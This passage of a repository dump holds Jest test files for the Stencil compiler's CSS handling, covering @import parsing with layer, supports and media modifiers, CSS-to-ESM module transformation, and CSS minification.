filePath: normalizePath(path.join(root, 'src', 'file-b.css')),\n          srcImport: `@import '${normalizePath(path.join(root, 'src', 'file-b.css'))}';`,\n          url: `${normalizePath(path.join(root, 'src', 'file-b.css'))}`,\n        },\n      ]);\n    });\n\n    it('no @import', async () => {\n      const filePath = normalizePath(path.join(root, 'src', 'file-a.css'));\n      const content = `body { color: red; }`;\n      const results = await getCssImports(config, compilerCtx, buildCtx, filePath, content);\n      expect(results).toEqual([]);\n    });\n\n    describe('parsing CSS import modifiers', () => {\n      it('should parse @import with layer() modifier', async () => {\n        const filePath = normalizePath(path.join(root, 'src', 'file-a.css'));\n        const content = `@import \"theme.css\" layer(utilities);`;\n        const results = await getCssImports(config, compilerCtx, buildCtx, filePath, content);\n        expect(results).toEqual([\n          {\n            filePath: normalizePath(path.join(root, 'src', 'theme.css')),\n            srcImport: `@import \"theme.css\" layer(utilities);`,\n            url: `theme.css`,\n            modifiers: 'layer(utilities)',\n          },\n        ]);\n      });\n\n      it('should parse @import with supports() modifier', async () => {\n        const filePath = normalizePath(path.join(root, 'src', 'file-a.css'));\n        const content = `@import \"grid.css\" supports(display: grid);`;\n        const results = await getCssImports(config, compilerCtx, buildCtx, filePath, content);\n        expect(results).toEqual([\n          {\n            filePath: normalizePath(path.join(root, 'src', 'grid.css')),\n            srcImport: `@import \"grid.css\" supports(display: grid);`,\n            url: `grid.css`,\n            modifiers: 'supports(display: grid)',\n          },\n        ]);\n      });\n\n      it('should parse @import with nested parentheses in supports() modifier', async () => {\n        const filePath = normalizePath(path.join(root, 'src', 'file-a.css'));\n        const content = `@import \"flex.css\" supports((not (display: grid)) and (display: flex));`;\n        const results = await getCssImports(config, compilerCtx, buildCtx, filePath, content);\n        expect(results).toEqual([\n          {\n            filePath: normalizePath(path.join(root, 'src', 'flex.css')),\n            srcImport: `@import \"flex.css\" supports((not (display: grid)) and (display: flex));`,\n            url: `flex.css`,\n            modifiers: 'supports((not (display: grid)) and (display: flex))',\n          },\n        ]);\n      });\n\n      it('should parse @import with media query modifier', async () => {\n        const filePath = normalizePath(path.join(root, 'src', 'file-a.css'));\n        const content = `@import \"mobile.css\" screen and (max-width: 768px);`;\n        const results = await getCssImports(config, compilerCtx, buildCtx, filePath, content);\n        expect(results).toEqual([\n          {\n            filePath: normalizePath(path.join(root, 'src', 'mobile.css')),\n            srcImport: `@import \"mobile.css\" screen and (max-width: 768px);`,\n            url: `mobile.css`,\n            modifiers: 'screen and (max-width: 768px)',\n          },\n        ]);\n      });\n\n      it('should parse @import with layer, supports, and media query modifiers', async () => {\n        const filePath = normalizePath(path.join(root, 'src', 'file-a.css'));\n        const content = `@import \"style.css\" layer(typography) supports((not (display: grid)) and (display: flex)) screen and (width <= 400px);`;\n        const results = await getCssImports(config, compilerCtx, buildCtx, filePath, content);\n        expect(results).toEqual([\n          {\n            filePath: normalizePath(path.join(root, 'src', 'style.css')),\n            srcImport: `@import \"style.css\" layer(typography) supports((not (display: grid)) and (display: flex)) screen and (width <= 400px);`,\n            url: `style.css`,\n            modifiers:\n              'layer(typography) supports((not (display: grid)) and (display: flex)) screen and (width <= 400px)',\n          },\n        ]);\n      });\n\n      it('should parse @import with url() and modifiers', async () => {\n        const filePath = normalizePath(path.join(root, 'src', 'file-a.css'));\n        const content = `@import url(\"theme.css\") layer(base) screen;`;\n        const results = await getCssImports(config, compilerCtx, buildCtx, filePath, content);\n        expect(results).toEqual([\n          {\n            filePath: normalizePath(path.join(root, 'src', 'theme.css')),\n            srcImport: `@import url(\"theme.css\") layer(base) screen;`,\n            url: `theme.css`,\n            modifiers: 'layer(base) screen',\n          },\n        ]);\n      });\n\n      it('should parse @import with complex supports() containing selector and font-tech', async () => {\n        const filePath = normalizePath(path.join(root, 'src', 'file-a.css'));\n        const content = `@import \"advanced.css\" supports((selector(h2 > p)) and (font-tech(color-COLRv1)));`;\n        const results = await getCssImports(config, compilerCtx, buildCtx, filePath, content);\n        expect(results).toEqual([\n          {\n            filePath: normalizePath(path.join(root, 'src', 'advanced.css')),\n            srcImport: `@import \"advanced.css\" supports((selector(h2 > p)) and (font-tech(color-COLRv1)));`,\n            url: `advanced.css`,\n            modifiers: 'supports((selector(h2 > p)) and (font-tech(color-COLRv1)))',\n          },\n        ]);\n      });\n\n      it('should parse @import with multiline modifiers', async () => {\n        const filePath = normalizePath(path.join(root, 'src', 'file-a.css'));\n        const content = `@import \"style.css\" layer(typography) supports((not (display: grid)) and (display: flex)) screen\n  and (width <= 400px);`;\n        const results = await getCssImports(config, compilerCtx, buildCtx, filePath, content);\n        expect(results).toEqual([\n          {\n            filePath: normalizePath(path.join(root, 'src', 'style.css')),\n            srcImport: `@import \"style.css\" layer(typography) supports((not (display: grid)) and (display: flex)) screen\n  and (width <= 400px);`,\n            url: `style.css`,\n            modifiers:\n              'layer(typography) supports((not (display: grid)) and (display: flex)) screen\\n  and (width <= 400px)',\n          },\n        ]);\n      });\n\n      it('should preserve modifiers when resolving node modules', async () => {\n        const files = new Map<string, string>();\n        const nodeModulePkgPath = path.join(root, 'node_modules', '@ionic', 'core', 'package.json');\n        files.set(nodeModulePkgPath, JSON.stringify({ name: '@ionic/core' }));\n\n        const nodeModuleMainPath = path.join(root, 'node_modules', '@ionic', 'core', 'index.js');\n        files.set(nodeModuleMainPath, `// index.js`);\n\n        const nodeModuleCss = path.join(root, 'node_modules', '@ionic', 'core', 'dist', 'ionic', 'ionic.css');\n        files.set(nodeModuleCss, `/*ionic.css*/`);\n\n        await compilerCtx.fs.writeFiles(files);\n        await compilerCtx.fs.commit();\n\n        const filePath = normalizePath(path.join(root, 'src', 'cmp', 'file-a.css'));\n        const content = `@import '~@ionic/core/dist/ionic/ionic.css' layer(framework);`;\n        const results = await getCssImports(config, compilerCtx, buildCtx, filePath, content);\n        expect(results).toEqual([\n          {\n            filePath: normalizePath(path.join(root, 'node_modules', '@ionic', 'core', 'dist', 'ionic', 'ionic.css')),\n            srcImport: `@import '~@ionic/core/dist/ionic/ionic.css' layer(framework);`,\n            updatedImport: `@import \"${normalizePath(\n              path.join(root, 'node_modules', '@ionic', 'core', 'dist', 'ionic', 'ionic.css'),\n            )}\" layer(framework);`,\n            url: `~@ionic/core/dist/ionic/ionic.css`,\n            modifiers: 'layer(framework)',\n          },\n        ]);\n      });\n    });\n  });\n\n  describe('parseCssImports', () => {\n    it('should report an error when a CSS import is missing', async () => {\n      const srcFilePath = normalizePath(path.join(root, 'src', 'file-a.css'));\n      const resolvedFilePath = normalizePath(path.join(root, 'boop', 'file-a.css'));\n      const content = '@import \"missing\"';\n\n      await parseCssImports(config, compilerCtx, buildCtx, srcFilePath, resolvedFilePath, content, []);\n      expect(buildCtx.diagnostics).toEqual([\n        {\n          ...buildError(),\n          absFilePath: srcFilePath,\n          messageText: 'Unable to read css import: @import \"missing\"',\n        },\n      ]);\n    });\n\n    it('should merge in imported files w/ child imports', async () => {\n      const mainFilePath = normalizePath(path.join(root, 'src', 'main.css'));\n      const firstImportPath = normalizePath(path.join(root, 'src', 'first.css'));\n      const secondImportPath = normalizePath(path.join(root, 'src', 'second.css'));\n\n      const files = {\n        [mainFilePath]: '@import \"first.css\"',\n        [firstImportPath]: '@import \"second.css\"; :host { color: red; }',\n        [secondImportPath]: 'div { display: flex }',\n      };\n\n      readFileMock.mockImplementation(async (path: string) => {\n        if (files[path]) {\n          return files[path];\n        } else {\n          throw new Error('unmatched path!');\n        }\n      });\n\n      const result = await parseCssImports(\n        config,\n        compilerCtx,\n        buildCtx,\n        mainFilePath,\n        mainFilePath,\n        files[mainFilePath],\n        [],\n      );\n      // CSS from child and grandchild are merged in\n      expect(result.styleText).toBe('div { display: flex } :host { color: red; }');\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/style/test/css-to-esm.spec.ts",
    "content": "// Mock the shadow-css module before any imports\njest.mock('@utils/shadow-css', () => {\n  const originalModule = jest.requireActual('@utils/shadow-css');\n  return {\n    ...originalModule,\n    scopeCss: jest.fn((cssText: string, scopeId: string) => {\n      // Simple mock implementation that adds scoped classes\n      return cssText.replace(/(\\.[a-zA-Z-_][a-zA-Z0-9-_]*)/g, `$1.${scopeId}`);\n    }),\n  };\n});\n\nimport { transformCssToEsm, transformCssToEsmSync } from '../css-to-esm';\nimport type * as d from '../../../declarations';\n\ndescribe('transformCssToEsm', () => {\n  let mockInput: d.TransformCssToEsmInput;\n\n  beforeEach(() => {\n    mockInput = {\n      input: '.my-class { color: red; }',\n      file: '/src/components/my-component/my-component.css',\n      tag: 'my-component',\n      encapsulation: 'none',\n      mode: 'md',\n      module: 'esm',\n      autoprefixer: null,\n      sourceMap: false,\n      docs: false,\n      addTagTransformers: false,\n      tags: [],\n      styleImportData: '',\n    };\n  });\n\n  describe('basic transformation', () => {\n    it('should transform basic CSS to ESM module', async () => {\n      const result = await transformCssToEsm(mockInput);\n\n      expect(result.output).toContain('const mdMyComponentCss = () => `.my-class{color:red}`;');\n      expect(result.output).toContain('export default mdMyComponentCss;');\n      expect(result.diagnostics).toEqual([]);\n      expect(result.imports).toEqual([]);\n    });\n\n    it('should transform basic CSS to ESM module synchronously', () => {\n      const result = transformCssToEsmSync(mockInput);\n\n      expect(result.output).toContain('const mdMyComponentCss = () => `.my-class { color: red; }`;');\n      expect(result.output).toContain('export default mdMyComponentCss;');\n      expect(result.diagnostics).toEqual([]);\n      expect(result.imports).toEqual([]);\n    });\n\n    it('should transform CSS to CommonJS module', async () => {\n      mockInput.module = 'cjs';\n\n      const result = await transformCssToEsm(mockInput);\n\n      expect(result.output).toContain('const mdMyComponentCss = () => `.my-class{color:red}`;');\n      expect(result.output).toContain('module.exports = mdMyComponentCss;');\n    });\n  });\n\n  describe('scoped encapsulation', () => {\n    it('should apply scoped styles when encapsulation is scoped', async () => {\n      mockInput.encapsulation = 'scoped';\n      mockInput.input = '.my-class { color: red; }';\n\n      const result = await transformCssToEsm(mockInput);\n\n      expect(result.styleText).toContain('.sc-my-component');\n      expect(result.output).toContain('.sc-my-component');\n    });\n\n    it('should not apply scoped styles when encapsulation is none', async () => {\n      mockInput.encapsulation = 'none';\n      mockInput.input = '.my-class { color: red; }';\n\n      const result = await transformCssToEsm(mockInput);\n\n      expect(result.styleText).not.toContain('.sc-my-component');\n      expect(result.output).not.toContain('.sc-my-component');\n    });\n\n    it('should not apply scoped styles when encapsulation is shadow', async () => {\n      mockInput.encapsulation = 'shadow';\n      mockInput.input = '.my-class { color: red; }';\n\n      const result = await transformCssToEsm(mockInput);\n\n      expect(result.styleText).not.toContain('.sc-my-component');\n      expect(result.output).not.toContain('.sc-my-component');\n    });\n  });\n\n  describe('CSS imports', () => {\n    it('should handle CSS imports correctly', async () => {\n      mockInput.input = `\n        @import './variables.css';\n        .my-class { color: red; }\n      `;\n\n      const result = await transformCssToEsm(mockInput);\n\n      expect(result.imports).toHaveLength(1);\n      expect(result.imports[0].varName).toMatch(/mdVariablesCss/);\n      expect(result.output).toContain('import mdVariablesCss from');\n      expect(result.output).toContain('mdVariablesCss +');\n      expect(result.styleText).not.toContain('@import');\n    });\n\n    it('should handle multiple CSS imports', async () => {\n      mockInput.input = `\n        @import './variables.css';\n        @import './mixins.css';\n        .my-class { color: red; }\n      `;\n\n      const result = await transformCssToEsm(mockInput);\n\n      expect(result.imports).toHaveLength(2);\n      expect(result.output).toContain('import mdVariablesCss from');\n      expect(result.output).toContain('import mdMixinsCss from');\n      expect(result.output).toContain('mdVariablesCss + mdMixinsCss +');\n    });\n\n    it('should ignore external URL imports', async () => {\n      mockInput.input = `\n        @import url('https://fonts.googleapis.com/css?family=Roboto');\n        .my-class { color: red; }\n      `;\n\n      const result = await transformCssToEsm(mockInput);\n\n      expect(result.imports).toHaveLength(0);\n      expect(result.styleText).toContain('https://fonts.googleapis.com');\n    });\n\n    it('should handle node module imports with ~', async () => {\n      mockInput.input = `\n        @import '~normalize.css/normalize.css';\n        .my-class { color: red; }\n      `;\n\n      const result = await transformCssToEsm(mockInput);\n\n      expect(result.imports).toHaveLength(1);\n      expect(result.imports[0].importPath).toContain('normalize.css/normalize.css');\n      expect(result.output).toContain('import');\n      expect(result.output).toContain('normalize.css/normalize.css');\n      expect(result.styleText).not.toContain('@import');\n      expect(result.styleText).not.toContain('~normalize.css');\n    });\n\n    it('should handle multiple imports including node modules', async () => {\n      mockInput.input = `\n        @import './debug/style.css';\n        @import '~foo/style.css';\n        .my-class { color: red; }\n      `;\n\n      const result = await transformCssToEsm(mockInput);\n\n      expect(result.imports).toHaveLength(2);\n\n      // First import should be relative path\n      expect(result.imports[0].importPath).toBe('./debug/style.css');\n\n      // Second import should be bare module specifier (no ./ prefix)\n      expect(result.imports[1].importPath).toBe('foo/style.css');\n\n      expect(result.output).toContain(\"import mdStyleCss from './debug/style.css'\");\n      expect(result.output).toContain(\"import mdStyleCss2 from 'foo/style.css'\");\n      expect(result.output).toContain('mdStyleCss + mdStyleCss2');\n      expect(result.styleText).not.toContain('@import');\n      expect(result.styleText).not.toContain('~');\n    });\n\n    it('should handle imports with CommonJS module', async () => {\n      mockInput.module = 'cjs';\n      mockInput.input = `\n        @import './variables.css';\n        .my-class { color: red; }\n      `;\n\n      const result = await transformCssToEsm(mockInput);\n\n      expect(result.output).toContain('const mdVariablesCss = require(');\n      expect(result.output).toContain('module.exports = mdMyComponentCss;');\n    });\n  });\n\n  describe('variable name generation', () => {\n    it('should create appropriate variable names based on file path and mode', async () => {\n      mockInput.file = '/src/components/button/button.ios.css';\n      mockInput.mode = 'ios';\n\n      const result = await transformCssToEsm(mockInput);\n\n      expect(result.defaultVarName).toBe('buttonIosCss');\n      expect(result.output).toContain('const buttonIosCss =');\n    });\n\n    it('should handle file paths without mode in filename', async () => {\n      mockInput.file = '/src/components/button/button.css';\n      mockInput.mode = 'ios';\n\n      const result = await transformCssToEsm(mockInput);\n\n      expect(result.defaultVarName).toBe('iosButtonCss');\n    });\n\n    it('should handle default mode', async () => {\n      mockInput.file = '/src/components/button/button.css';\n      mockInput.mode = '';\n\n      const result = await transformCssToEsm(mockInput);\n\n      expect(result.defaultVarName).toBe('buttonCss');\n    });\n  });\n\n  describe('tag transformers', () => {\n    it('should add tag transformers when requested for ESM', async () => {\n      mockInput.addTagTransformers = true;\n      mockInput.tags = ['my-tag'];\n\n      const result = await transformCssToEsm(mockInput);\n\n      expect(result.output).toContain(\"import { transformTag as __stencil_transformTag  } from '@stencil/core'\");\n    });\n\n    it('should add tag transformers when requested for CommonJS', async () => {\n      mockInput.addTagTransformers = true;\n      mockInput.tags = ['my-tag'];\n      mockInput.module = 'cjs';\n\n      const result = await transformCssToEsm(mockInput);\n\n      expect(result.output).toContain(\"const __stencil_transformTag = require('@stencil/core').transformTag;\");\n    });\n  });\n\n  describe('style documentation', () => {\n    it('should parse style docs when requested', async () => {\n      mockInput.docs = true;\n      mockInput.input = `\n        /**\n         * @prop --color: The text color\n         * @prop --background: The background color\n         */\n        .my-class { \n          color: var(--color);\n          background: var(--background);\n        }\n      `;\n\n      const result = await transformCssToEsm(mockInput);\n\n      expect(result.styleDocs).toHaveLength(2);\n      expect(result.styleDocs[0].name).toBe('--color');\n      expect(result.styleDocs[0].docs).toBe('The text color');\n      expect(result.styleDocs[1].name).toBe('--background');\n      expect(result.styleDocs[1].docs).toBe('The background color');\n    });\n\n    it('should not parse style docs when not requested', async () => {\n      mockInput.docs = false;\n      mockInput.input = `\n        /**\n         * @prop --color: The text color\n         */\n        .my-class { color: var(--color); }\n      `;\n\n      const result = await transformCssToEsm(mockInput);\n\n      expect(result.styleDocs).toHaveLength(0);\n    });\n  });\n\n  describe('error handling', () => {\n    it('should handle malformed CSS gracefully', async () => {\n      mockInput.input = '.my-class { color: red'; // Missing closing brace\n\n      const result = await transformCssToEsm(mockInput);\n\n      // Should still produce output, as CSS parsing is generally permissive\n      expect(result.output).toBeTruthy();\n      expect(result.styleText).toContain('.my-class { color: red');\n    });\n\n    it('should handle empty CSS input', async () => {\n      mockInput.input = '';\n\n      const result = await transformCssToEsm(mockInput);\n\n      expect(result.output).toContain('const mdMyComponentCss = () => ``;');\n      expect(result.diagnostics).toEqual([]);\n    });\n\n    it('should handle CSS with only comments', () => {\n      mockInput.input = '/* This is just a comment */';\n\n      const result = transformCssToEsmSync(mockInput);\n\n      // Comments are stripped to prevent Rollup parse errors when CSS is embedded in template literals\n      expect(result.output).toContain('const mdMyComponentCss = () => ``;');\n    });\n\n    it('should strip Sass loud comments to prevent Rollup errors', () => {\n      mockInput.input = `/*! Sass loud comment */\n.my-class {\n  color: red;\n}`;\n\n      const result = transformCssToEsmSync(mockInput);\n\n      // Loud comments (/*! */) should be stripped like regular comments\n      expect(result.output).not.toContain('/*');\n      expect(result.output).not.toContain('*/');\n      expect(result.output).toContain('.my-class');\n      expect(result.output).toContain('color: red');\n    });\n  });\n\n  describe('source maps', () => {\n    it('should handle source map requests', async () => {\n      mockInput.sourceMap = true;\n\n      const result = await transformCssToEsm(mockInput);\n\n      // Source map handling is done in optimization phase\n      expect(result.map).toBeNull(); // Before optimization\n    });\n  });\n\n  it('escapes backslashes', () => {\n    // const css = `.icon::before { content: \"\\f101\"; } .icon2::before { content: '\\f102'; }`;\n    const result = transformCssToEsmSync({\n      input: '.icon::before { content: \"\\f101\"; } .icon2::before { content: \\'\\f102\\'; }',\n      file: '/test.css',\n      mode: 'md',\n      module: 'esm',\n      tags: [],\n      addTagTransformers: false,\n      encapsulation: undefined,\n      docs: false,\n      sourceMap: false,\n      styleImportData: undefined,\n    });\n\n    // The generated output should contain a template literal with a literal\n    // double-backslash so the runtime CSS string contains a single backslash\n    // (i.e. the generated source shows \"\\\\f101\").\n    expect(result.output).toContain('\"\\\\\\\\f101\"');\n    expect(result.output).toContain(\"'\\\\\\\\f102'\");\n  });\n\n  it('replaces newlines with spaces to avoid escape sequence issues', () => {\n    const result = transformCssToEsmSync({\n      input: '.my-component {\\n  --theme-primary-color: #2c3e50;\\n  display: block;\\n}',\n      file: '/test.css',\n      mode: 'md',\n      module: 'esm',\n      tags: [],\n      addTagTransformers: false,\n      encapsulation: undefined,\n      docs: false,\n      sourceMap: false,\n      styleImportData: undefined,\n    });\n\n    // Should not contain literal \\n escape sequences\n    expect(result.output).not.toContain('\\\\n');\n    // Should contain spaces instead\n    expect(result.output).toContain('.my-component {');\n    expect(result.output).toContain('--theme-primary-color');\n  });\n\n  it('handles multiline color-mix CSS correctly', () => {\n    const input = `.my-component {\n--theme-primary-color: #2c3e50;\n--theme-primary-opacity: 10%;\n--theme-secondary-color: #0a0a0a;\n--theme-secondary-opacity: 20%;\n\ndisplay: block;\ncolor: color-mix(in srgb, var(--theme-primary-color) var(--theme-primary-opacity),\nvar(--theme-secondary-color) var(--theme-secondary-opacity));\n}`;\n\n    const result = transformCssToEsmSync({\n      input,\n      file: '/test.css',\n      mode: 'md',\n      module: 'esm',\n      tags: [],\n      addTagTransformers: false,\n      encapsulation: undefined,\n      docs: false,\n      sourceMap: false,\n      styleImportData: undefined,\n    });\n\n    // Should not contain \\n escape sequences\n    expect(result.output).not.toContain('\\\\n');\n    // Should contain the color-mix function properly\n    expect(result.output).toContain('color-mix');\n    expect(result.output).toContain('in srgb');\n  });\n\n  it('replaces tabs and carriage returns with spaces', () => {\n    const result = transformCssToEsmSync({\n      input: '.my-class\\t{\\tcolor:\\tred;\\r\\n}',\n      file: '/test.css',\n      mode: 'md',\n      module: 'esm',\n      tags: [],\n      addTagTransformers: false,\n      encapsulation: undefined,\n      docs: false,\n      sourceMap: false,\n      styleImportData: undefined,\n    });\n\n    // Should not contain escape sequences for tabs or newlines\n    expect(result.output).not.toContain('\\\\t');\n    expect(result.output).not.toContain('\\\\r');\n    expect(result.output).not.toContain('\\\\n');\n    expect(result.output).toContain('.my-class');\n    expect(result.output).toContain('color');\n  });\n\n  it('escapes backticks in CSS content', () => {\n    const result = transformCssToEsmSync({\n      input: '.my-class::before { content: \"`\"; }',\n      file: '/test.css',\n      mode: 'md',\n      module: 'esm',\n      tags: [],\n      addTagTransformers: false,\n      encapsulation: undefined,\n      docs: false,\n      sourceMap: false,\n      styleImportData: undefined,\n    });\n\n    // Should escape backticks to avoid breaking template literal\n    expect(result.output).toContain('\\\\`');\n  });\n});\n"
  },
  {
    "path": "src/compiler/style/test/optimize-css.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport { mockCompilerCtx, mockValidatedConfig } from '@stencil/core/testing';\nimport os from 'os';\nimport path from 'path';\n\nimport { optimizeCss } from '../optimize-css';\n\ndescribe('optimizeCss', () => {\n  const MOCK_FILE_PATH = './mock/path/to/file.css';\n\n  let config: d.ValidatedConfig;\n  let compilerCtx: d.CompilerCtx;\n  let diagnostics: d.Diagnostic[];\n\n  // TODO(STENCIL-307): Remove usage of the Jasmine global\n  // eslint-disable-next-line jest/no-jasmine-globals -- these will be removed when we migrate to jest-circus\n  jasmine.DEFAULT_TIMEOUT_INTERVAL = 60000;\n\n  beforeEach(() => {\n    config = mockValidatedConfig({ maxConcurrentWorkers: 0, minifyCss: true });\n    compilerCtx = mockCompilerCtx(config);\n    diagnostics = [];\n  });\n\n  it('handles error', async () => {\n    const filePath = path.join(os.tmpdir(), 'my.css');\n    const styleText = `/* css */ body color: #ff0000; }`;\n    await optimizeCss(config, compilerCtx, diagnostics, styleText, filePath);\n\n    expect(diagnostics).toHaveLength(1);\n  });\n\n  it('discard-comments', async () => {\n    const styleText = `/* css */ body { color: #ff0000; }`;\n    const output = await optimizeCss(config, compilerCtx, diagnostics, styleText, MOCK_FILE_PATH);\n\n    expect(diagnostics).toHaveLength(0);\n    expect(output).toBe(`body{color:#ff0000}`);\n  });\n\n  it('minify-gradients', async () => {\n    config.autoprefixCss = false;\n    const styleText = `\n      h1 {\n        background: linear-gradient(to bottom, #ffe500 0%, #ffe500 50%, #121 50%, #121 100%);\n      }\n    `;\n    const output = await optimizeCss(config, compilerCtx, diagnostics, styleText, MOCK_FILE_PATH);\n\n    expect(diagnostics).toHaveLength(0);\n    expect(output).toBe(`h1{background:linear-gradient(to bottom, #ffe500 0%, #ffe500 50%, #121 50%, #121 100%)}`);\n  });\n\n  it('reduce-initial', async () => {\n    const styleText = `\n      h1 {\n        min-width: initial;\n      }\n    `;\n    const output = await optimizeCss(config, compilerCtx, diagnostics, styleText, MOCK_FILE_PATH);\n\n    expect(diagnostics).toHaveLength(0);\n    expect(output).toBe(`h1{min-width:initial}`);\n  });\n\n  it('normalize-display-values', async () => {\n    const styleText = `\n      h1 {\n        display: inline flow-root;\n      }\n    `;\n    const output = await optimizeCss(config, compilerCtx, diagnostics, styleText, MOCK_FILE_PATH);\n\n    expect(diagnostics).toHaveLength(0);\n    expect(output).toBe(`h1{display:inline flow-root}`);\n  });\n\n  it('reduce-transforms', async () => {\n    config.autoprefixCss = false;\n    const styleText = `\n      h1 {\n        transform: rotate3d(0, 0, 1, 20deg);\n      }\n    `;\n    const output = await optimizeCss(config, compilerCtx, diagnostics, styleText, MOCK_FILE_PATH);\n\n    expect(diagnostics).toHaveLength(0);\n    expect(output).toBe(`h1{transform:rotate3d(0, 0, 1, 20deg)}`);\n  });\n\n  it('colormin', async () => {\n    const styleText = `body { color: #ff0000; }`;\n    const output = await optimizeCss(config, compilerCtx, diagnostics, styleText, MOCK_FILE_PATH);\n\n    expect(diagnostics).toHaveLength(0);\n    expect(output).toBe(`body{color:#ff0000}`);\n  });\n\n  it('convert-values', async () => {\n    const styleText = `\n      h1 {\n        width: 0em;\n      }\n    `;\n    const output = await optimizeCss(config, compilerCtx, diagnostics, styleText, MOCK_FILE_PATH);\n\n    expect(diagnostics).toHaveLength(0);\n    expect(output).toBe(`h1{width:0em}`);\n  });\n\n  it('ordered-values', async () => {\n    const styleText = `\n      h1 {\n        border: red solid .5em;\n      }\n    `;\n    const output = await optimizeCss(config, compilerCtx, diagnostics, styleText, MOCK_FILE_PATH);\n\n    expect(diagnostics).toHaveLength(0);\n    expect(output).toBe(`h1{border:red solid .5em}`);\n  });\n\n  it('minify-selectors', async () => {\n    const styleText = `\n      h1 + p, h2, h3, h2{color:red}\n    `;\n    const output = await optimizeCss(config, compilerCtx, diagnostics, styleText, MOCK_FILE_PATH);\n\n    expect(diagnostics).toHaveLength(0);\n    expect(output).toBe(`h1+p,h2,h3{color:red}`);\n  });\n\n  it('minify-params', async () => {\n    const styleText = `\n      @media only screen   and ( min-width: 400px, min-height: 500px ) {\n        h2 {\n          color: red;\n        }\n      }\n    `;\n    const output = await optimizeCss(config, compilerCtx, diagnostics, styleText, MOCK_FILE_PATH);\n\n    expect(diagnostics).toHaveLength(0);\n    expect(output).toBe(`@media only screen and ( min-width: 400px, min-height: 500px ){h2{color:red}}`);\n  });\n\n  it('normalize-string', async () => {\n    const styleText = `\n      p:after {\n        content: '\\\\'string\\\\' is intact';\n      }\n    `;\n    const output = await optimizeCss(config, compilerCtx, diagnostics, styleText, MOCK_FILE_PATH);\n\n    expect(diagnostics).toHaveLength(0);\n    expect(output).toBe(`p:after{content:'\\\\'string\\\\' is intact'}`);\n  });\n\n  it('minify-font-values', async () => {\n    const styleText = `\n      p {\n        font-family: \"Helvetica Neue\", Arial, sans-serif, Helvetica;\n        font-weight: normal;\n      }\n    `;\n    const output = await optimizeCss(config, compilerCtx, diagnostics, styleText, MOCK_FILE_PATH);\n\n    expect(diagnostics).toHaveLength(0);\n    expect(output).toBe(`p{font-family:\\\"Helvetica Neue\\\", Arial, sans-serif, Helvetica;font-weight:normal}`);\n  });\n\n  it('normalize-repeat-style', async () => {\n    const styleText = `\n      h1 {\n        background: url(image.jpg) repeat no-repeat;\n      }\n    `;\n    const output = await optimizeCss(config, compilerCtx, diagnostics, styleText, MOCK_FILE_PATH);\n\n    expect(diagnostics).toHaveLength(0);\n    expect(output).toBe(`h1{background:url(image.jpg) repeat no-repeat}`);\n  });\n\n  it('normalize-positions', async () => {\n    const styleText = `\n      h1 {\n        background-position: bottom left;\n      }\n    `;\n    const output = await optimizeCss(config, compilerCtx, diagnostics, styleText, MOCK_FILE_PATH);\n\n    expect(diagnostics).toHaveLength(0);\n    expect(output).toBe(`h1{background-position:bottom left}`);\n  });\n\n  it('normalize-whitespace', async () => {\n    const styleText = `\n      h1 {\n        width: calc(10px -  ( 100px / var(--test)  )) ;\n      }\n    `;\n    const output = await optimizeCss(config, compilerCtx, diagnostics, styleText, MOCK_FILE_PATH);\n\n    expect(diagnostics).toHaveLength(0);\n    expect(output).toBe(`h1{width:calc(10px -  ( 100px / var(--test)  ))}`);\n  });\n\n  it('unique-selectors', async () => {\n    const styleText = `\n      h1, h3, h2, h1 {\n        color: red;\n      }\n    `;\n    const output = await optimizeCss(config, compilerCtx, diagnostics, styleText, MOCK_FILE_PATH);\n\n    expect(diagnostics).toHaveLength(0);\n    expect(output).toBe(`h1,h3,h2{color:red}`);\n  });\n\n  it('prevent autoprefix with null', async () => {\n    config.autoprefixCss = null;\n    const styleText = `\n      h1 {\n        box-shadow: 1px;\n      }\n    `;\n    const output = await optimizeCss(config, compilerCtx, diagnostics, styleText, MOCK_FILE_PATH);\n\n    expect(diagnostics).toHaveLength(0);\n    expect(output).toBe(`h1{box-shadow:1px}`);\n  });\n\n  it('prevent autoprefix with false', async () => {\n    config.autoprefixCss = false;\n    const styleText = `\n      h1 {\n        box-shadow: 1px;\n      }\n    `;\n    const output = await optimizeCss(config, compilerCtx, diagnostics, styleText, MOCK_FILE_PATH);\n\n    expect(diagnostics).toHaveLength(0);\n    expect(output).toBe(`h1{box-shadow:1px}`);\n  });\n\n  it('autoprefix by default', async () => {\n    const styleText = `\n      h1 {\n        box-shadow: 1px;\n      }\n    `;\n    const output = await optimizeCss(config, compilerCtx, diagnostics, styleText, MOCK_FILE_PATH);\n\n    expect(diagnostics).toHaveLength(0);\n    expect(output).toBe(`h1{-webkit-box-shadow:1px;box-shadow:1px}`);\n  });\n\n  it('runs autoprefixerCss true config', async () => {\n    config.autoprefixCss = true;\n    const styleText = `\n      h1 {\n        box-shadow: 1px;\n      }\n    `;\n    const output = await optimizeCss(config, compilerCtx, diagnostics, styleText, MOCK_FILE_PATH);\n\n    expect(diagnostics).toHaveLength(0);\n    expect(output).toBe(`h1{-webkit-box-shadow:1px;box-shadow:1px}`);\n  });\n\n  it('do nothing for invalid data', async () => {\n    // we intentionally pass `null` as an argument for the provided styles, hence the type assertion\n    let output = await optimizeCss(config, compilerCtx, diagnostics, null as unknown as string, MOCK_FILE_PATH);\n    expect(diagnostics).toHaveLength(0);\n    expect(output).toBe(null);\n\n    // we intentionally pass `null` as an argument for the provided styles, hence the type assertion\n    output = await optimizeCss(config, compilerCtx, diagnostics, undefined as unknown as string, MOCK_FILE_PATH);\n    expect(diagnostics).toHaveLength(0);\n    expect(output).toBe(undefined);\n\n    output = await optimizeCss(config, compilerCtx, diagnostics, '', MOCK_FILE_PATH);\n    expect(diagnostics).toHaveLength(0);\n    expect(output).toBe('');\n  });\n});\n"
  },
  {
    "path": "src/compiler/style/test/style-rebuild.spec.ts",
